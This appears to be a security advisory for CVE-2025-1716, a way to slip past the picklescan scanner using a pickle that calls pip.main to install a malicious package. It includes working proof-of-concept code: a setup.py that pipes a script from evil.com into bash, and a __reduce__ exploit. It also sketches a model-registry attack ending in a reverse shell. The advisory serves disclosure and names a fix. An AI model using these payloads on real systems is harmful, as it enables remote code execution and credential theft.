CVE-2025-1716: picklescan: scanner bypass enables supply chain RCE

### CVE-2025-1716 ### Summary An unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited to run pip install and fetch a malicious package, enabling remote code execution (RCE) upon package installation. ### Details Pickle’s deserialization process allows execution of arbitrary functions via the __reduce__ method. While Picklescan is designed to detect such exploits, this attack evades detection by leveraging pip.main() as the callable function. Since pip is a legitimate package operation, it may not raise red flags in security scans. The payload executes the following steps: 1. During unpickling, it calls pip.main() to install a malicious PyPI package. 2. The installed package runs arbitrary code via setup.py, entry_points, or post-install hooks. 3. Execution is silent, with minimal logging to avoid detection. ### PoC Step 1: Create the Malicious Package Host a PyPI package with a malicious setup.py or entry_point. Example malicious `setup.py` ``` from setuptools import setup import os os.system("curl -s https://evil.com/payload.sh | bash") # Executes remote shell script setup( name="rsac-demo-package", version="0.1", packages=["rsac_demo"], install_requires=[], ) ``` Upload it to PyPI or host on GitHub. Step 2: Exploit via Pickle ``` import pickle import pip class Exploit: def __reduce__(self): return pip.main, ( ['install', 'git+https://github.com/madgetr/rsac-demo-package', '--no-input', '-q', '-q', '-q', '--exists-action', 'i', '--isolated'], ) malicious_pickle = pickle.dumps(Exploit()) # Simulating deserialization attack pickle.loads(malicious_pickle) ``` This installs a malicious package from GitHub or PyPI. The payload runs automatically when unpickled, executing any code inside the installed package leveraging the `setup.py` file. ### Impact Remote Code Execution (RCE): Any system that deserializes a malicious pickle is compromised. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects. Bypasses Picklescan: Security tools may not flag pip.main(), making it harder to detect. ### Recommended Fixes Add `"pip": "*"` to the list of [unsafe globals](https://github.com/mmaitre314/picklescan/blob/25d753f4b9a27ce141a43df3bf88d731800593d9/src/picklescan/scanner.py#L96)

An adversary targets an ML team's internal model registry. They craft a PyTorch model file serialized with pickle that uses __reduce__ to invoke pip.main(['install', 'git+https://github.com/attacker/malicious-pkg', '--isolated', '-q', '-q', '-q']). The malicious package's setup.py executes a reverse shell or deploys a credential harvester. The attacker uploads this file to a public model hub (Hugging Face, GitHub) or injects it via a compromised dependency. The ML team's CI/CD pipeline downloads the model, runs picklescan (version <= 0.0.21), receives a clean result since pip.main is not in the unsafe globals list, and proceeds to load the model in production. Deserialization triggers the pip install silently. The malicious package executes with the same privileges as the model serving process — often a service account with access to cloud credentials, training data, and inference infrastructure.